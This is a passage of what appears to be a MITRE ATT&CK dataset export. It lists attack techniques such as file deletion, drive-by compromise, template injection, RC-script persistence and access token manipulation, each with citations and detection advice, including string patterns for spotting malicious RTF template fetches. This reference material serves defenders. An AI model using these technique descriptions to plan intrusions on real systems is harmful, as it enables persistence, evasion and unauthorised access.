"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-31T12:35:36.479000Z" | "2022-04-16T18:25:43.231000Z" | File Deletion | Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows and <code>rm</code> or <code>unlink</code> on Linux and macOS. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1070.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/004"
},
{
"description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
"external_id": null,
"source_name": "Microsoft SDelete July 2016",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2023-04-14T23:58:45.490000Z" | Drive-by Compromise | Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:
* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting
* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary
* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))
* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:
1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.
Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
] | false | [
{
"description": null,
"external_id": "T1189",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1189"
},
{
"description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
"external_id": null,
"source_name": "Shadowserver Strategic Web Compromise",
"url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
},
{
"description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
"external_id": null,
"source_name": "Volexity OceanLotus Nov 2017",
"url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.
Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.
Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS",
"SaaS"
] | 1.5 |
attack-pattern | attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-04-17T20:23:15.105000Z" | "2022-03-25T20:05:40.122000Z" | Network Denial of Service | Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)
A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).
To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.
Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1498",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498"
},
{
"description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.",
"external_id": null,
"source_name": "FireEye OpPoisonedHandover February 2016",
"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
},
{
"description": "FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.",
"external_id": null,
"source_name": "FSISAC FraudNetDoS September 2012",
"url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
},
{
"description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
"external_id": null,
"source_name": "Symantec DDoS October 2014",
"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
] | 1.1 |
attack-pattern | attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-13T15:26:11.741000Z" | "2024-04-12T03:27:48.171000Z" | Cloud Administration Command | Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)
If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment’s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1651",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1651"
},
{
"description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "AWS Systems Manager Run Command",
"url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"
},
{
"description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
"external_id": null,
"source_name": "MSTIC Nobelium Oct 2021",
"url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
},
{
"description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Microsoft Run Command",
"url": "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 2.0 |
|
attack-pattern | attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-09-27T18:02:16.026000Z" | "2024-04-28T15:52:44.332000Z" | Installer Packages | Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)
Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)
Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.
For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.016",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/016"
},
{
"description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
"external_id": null,
"source_name": "Application Bundle Manipulation Brandon Dalton",
"url": "https://redcanary.com/blog/mac-application-bundles/"
},
{
"description": "Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.",
"external_id": null,
"source_name": "Debian Manual Maintainer Scripts",
"url": "https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact"
},
{
"description": "Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.",
"external_id": null,
"source_name": "Windows AppleJeus GReAT",
"url": "https://securelist.com/operation-applejeus/87553/"
},
{
"description": "Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.",
"external_id": null,
"source_name": "Microsoft Installation Procedures",
"url": "https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"
},
{
"description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.",
"external_id": null,
"source_name": "wardle evilquest parti",
"url": "https://objective-see.com/blog/blog_0x59.html"
},
{
"description": "Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.",
"external_id": null,
"source_name": "Installer Package Scripting Rich Trouton",
"url": "https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
|
attack-pattern | attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:54:23.193000Z" | "2021-04-15T03:19:38.469000Z" | Scanning IP Blocks | Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.
Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1595.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1595/001"
},
{
"description": "Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Botnet Scan",
"url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-10-17T00:14:20.652000Z" | "2022-01-12T18:16:56.176000Z" | Template Injection | Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1221",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1221"
},
{
"description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
"external_id": null,
"source_name": "Microsoft Open XML July 2017",
"url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
},
{
"description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
"external_id": null,
"source_name": "SANS Brian Wiltse Template Injection",
"url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
},
{
"description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
"external_id": null,
"source_name": "Redxorblue Remote Template Injection",
"url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
},
{
"description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
"external_id": null,
"source_name": "MalwareBytes Template Injection OCT 2017",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
},
{
"description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021.",
"external_id": null,
"source_name": "Proofpoint RTF Injection",
"url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
},
{
"description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
"external_id": null,
"source_name": "Ciberseguridad Decoding malicious RTF files",
"url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
},
{
"description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
"external_id": null,
"source_name": "Anomali Template Injection MAR 2018",
"url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
},
{
"description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
"external_id": null,
"source_name": "Talos Template Injection July 2017",
"url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
},
{
"description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
"external_id": null,
"source_name": "ryhanson phishery SEPT 2016",
"url": "https://github.com/ryhanson/phishery"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.
Monitor .rtf files for strings indicating the <code>*\template</code> control word has been modified to retrieve a URL resource, such as <code>*\template http</code> or <code>*\template \u-</code>. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.3 |
attack-pattern | attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-15T16:25:22.260000Z" | "2024-04-16T12:22:29.150000Z" | RC Scripts | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1037.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/004"
},
{
"description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.",
"external_id": null,
"source_name": "Apple Developer Doco Archive Launchd",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
"external_id": null,
"source_name": "Startup Items",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
},
{
"description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.",
"external_id": null,
"source_name": "Ubuntu Manpage systemd rc",
"url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"
},
{
"description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
"external_id": null,
"source_name": "IranThreats Kittens Dec 2017",
"url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
},
{
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Methods of Mac Malware Persistence",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
"external_id": null,
"source_name": "intezer-kaiji-malware",
"url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
},
{
"description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
"external_id": null,
"source_name": "Intezer HiddenWasp Map 2019",
"url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.
Monitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Linux",
"Network"
] | 2.1 |
attack-pattern | attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-12-14T16:46:06.044000Z" | "2023-03-30T21:01:47.762000Z" | Access Token Manipulation | Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1134",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134"
},
{
"description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
"external_id": null,
"source_name": "BlackHat Atkinson Winchester Token Manipulation",
"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
},
{
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"external_id": null,
"source_name": "Microsoft Command-line Logging",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"external_id": null,
"source_name": "Microsoft LogonUser",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx"
},
{
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"external_id": null,
"source_name": "Microsoft DuplicateTokenEx",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx"
},
{
"description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
"external_id": null,
"source_name": "Microsoft ImpersonateLoggedOnUser",
"url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx"
},
{
"description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
"external_id": null,
"source_name": "Pentestlab Token Manipulation",
"url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
